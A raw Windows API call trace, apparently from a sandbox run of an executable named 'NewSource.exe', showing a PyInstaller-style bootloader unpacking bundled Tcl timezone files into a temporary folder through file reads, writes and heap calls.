(lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.249] GetFileType (hFile=0x10c) returned 0x1 [0038.249] htonl (hostlong=0xfa585800) returned 0x5858fa [0038.249] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d08fa, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.249] htonl (hostlong=0x92000000) returned 0x92 [0038.249] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x92) returned 0x55cfe0 [0038.249] htonl (hostlong=0x92000000) returned 0x92 [0038.249] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.249] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.249] htonl (hostlong=0xa8000000) returned 0xa8 [0038.249] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa8) returned 0x544570 [0038.249] htonl (hostlong=0x92000000) returned 0x92 [0038.249] htonl (hostlong=0xa8000000) returned 0xa8 [0038.249] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0038.249] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.249] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0038.249] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.249] CloseHandle (hObject=0x10c) returned 1 [0038.249] GetLastError () returned 0x0 [0038.249] SetLastError (dwErrCode=0x0) [0038.249] GetLastError () returned 0x0 [0038.249] SetLastError (dwErrCode=0x0) [0038.249] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.250] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.250] GetFileType (hFile=0x10c) returned 0x1 [0038.250] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.250] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.250] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.250] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.250] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.250] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.250] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.250] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.250] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.250] CloseHandle (hObject=0x10c) returned 1 [0038.250] GetLastError () returned 0x0 [0038.250] SetLastError (dwErrCode=0x0) [0038.250] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.250] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.250] GetFileType (hFile=0x10c) returned 0x1 [0038.250] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.250] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.250] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.250] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.250] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.250] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.250] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.251] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.251] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.251] CloseHandle (hObject=0x10c) returned 1 [0038.251] GetLastError () returned 0x0 [0038.251] SetLastError (dwErrCode=0x0) [0038.251] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa") returned 63 [0038.251] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.251] GetFileType (hFile=0x10c) returned 0x1 [0038.251] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.251] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.251] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.251] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.251] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.251] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.251] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.251] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.251] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.251] CloseHandle (hObject=0x10c) returned 1 [0038.251] GetLastError () returned 0x0 [0038.251] SetLastError (dwErrCode=0x0) [0038.251] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Malabo") returned 70 [0038.251] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Malabo" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\malabo"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.252] GetLastError () returned 0x2 [0038.252] SetLastError (dwErrCode=0x2) [0038.252] GetLastError () returned 0x2 [0038.252] SetLastError (dwErrCode=0x2) [0038.252] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Malabo", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Malabo", lpFilePart=0x0) returned 0x45 [0038.252] GetLastError () returned 0x2 [0038.252] SetLastError (dwErrCode=0x2) [0038.252] GetLastError () returned 0x2 [0038.252] SetLastError (dwErrCode=0x2) [0038.252] GetLastError () returned 0x2 [0038.252] SetLastError (dwErrCode=0x2) [0038.252] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Malabo") returned 70 [0038.252] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.252] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Malabo" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\malabo"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.252] GetFileType (hFile=0x10c) returned 0x1 [0038.252] htonl (hostlong=0xa8000000) returned 0xa8 [0038.252] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.252] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xa8, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xa8, lpOverlapped=0x0) returned 1 [0038.253] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.253] CloseHandle (hObject=0x10c) returned 1 [0038.254] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x544570 | out: hHeap=0x530000) returned 1 [0038.254] htonl (hostlong=0x30000000) returned 0x30 [0038.254] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.254] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.254] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.254] GetFileType (hFile=0x10c) returned 0x1 [0038.254] htonl (hostlong=0x8c595800) returned 0x58598c [0038.254] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d098c, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.254] htonl (hostlong=0x87000000) returned 0x87 [0038.254] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x87) returned 0x55cfe0 [0038.254] htonl (hostlong=0x87000000) returned 0x87 [0038.254] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.254] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.254] htonl (hostlong=0x8f000000) returned 0x8f [0038.254] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8f) returned 0x550600 [0038.254] htonl (hostlong=0x87000000) returned 0x87 [0038.254] htonl (hostlong=0x8f000000) returned 0x8f [0038.254] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0038.255] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.255] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0038.255] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.255] CloseHandle (hObject=0x10c) returned 1 [0038.255] GetLastError () returned 0x0 [0038.255] SetLastError (dwErrCode=0x0) [0038.255] GetLastError () returned 0x0 [0038.255] SetLastError (dwErrCode=0x0) [0038.255] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.255] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.255] GetFileType (hFile=0x10c) returned 0x1 [0038.255] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.255] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.255] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.255] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.255] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.255] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.255] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.255] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.255] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.255] CloseHandle (hObject=0x10c) returned 1 [0038.255] GetLastError () returned 0x0 [0038.255] SetLastError (dwErrCode=0x0) [0038.255] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.255] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.256] GetFileType (hFile=0x10c) returned 0x1 [0038.256] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.256] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.256] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.256] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.256] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.256] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.256] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.256] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.256] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.256] CloseHandle (hObject=0x10c) returned 1 [0038.256] GetLastError () returned 0x0 [0038.256] SetLastError (dwErrCode=0x0) [0038.256] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa") returned 63 [0038.256] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.256] GetFileType (hFile=0x10c) returned 0x1 [0038.256] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.256] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.256] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.256] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.256] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.256] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.256] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.256] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.257] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.257] CloseHandle (hObject=0x10c) returned 1 [0038.257] GetLastError () returned 0x0 [0038.257] SetLastError (dwErrCode=0x0) [0038.257] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Maputo") returned 70 [0038.257] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Maputo" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\maputo"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.257] GetLastError () returned 0x2 [0038.257] SetLastError (dwErrCode=0x2) [0038.257] GetLastError () returned 0x2 [0038.257] SetLastError (dwErrCode=0x2) [0038.257] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Maputo", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Maputo", lpFilePart=0x0) returned 0x45 [0038.257] GetLastError () returned 0x2 [0038.257] SetLastError (dwErrCode=0x2) [0038.257] GetLastError () returned 0x2 [0038.257] SetLastError (dwErrCode=0x2) [0038.257] GetLastError () returned 0x2 [0038.257] SetLastError (dwErrCode=0x2) [0038.257] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Maputo") returned 70 [0038.257] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.257] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Maputo" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\maputo"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.264] GetFileType (hFile=0x10c) returned 0x1 [0038.265] htonl (hostlong=0x8f000000) returned 0x8f [0038.265] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.265] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x8f, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x8f, lpOverlapped=0x0) returned 1 [0038.266] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.266] CloseHandle (hObject=0x10c) returned 1 [0038.266] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.266] htonl (hostlong=0x30000000) returned 0x30 [0038.266] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.266] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.266] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.266] GetFileType (hFile=0x10c) returned 0x1 [0038.266] htonl (hostlong=0x135a5800) returned 0x585a13 [0038.267] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d0a13, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.267] htonl (hostlong=0x9d000000) returned 0x9d [0038.267] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x9d) returned 0x55cfe0 [0038.267] htonl (hostlong=0x9d000000) returned 0x9d [0038.267] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.267] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.267] htonl (hostlong=0xcb000000) returned 0xcb [0038.267] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xcb) returned 0x546430 [0038.267] htonl (hostlong=0x9d000000) returned 0x9d [0038.267] htonl (hostlong=0xcb000000) returned 0xcb 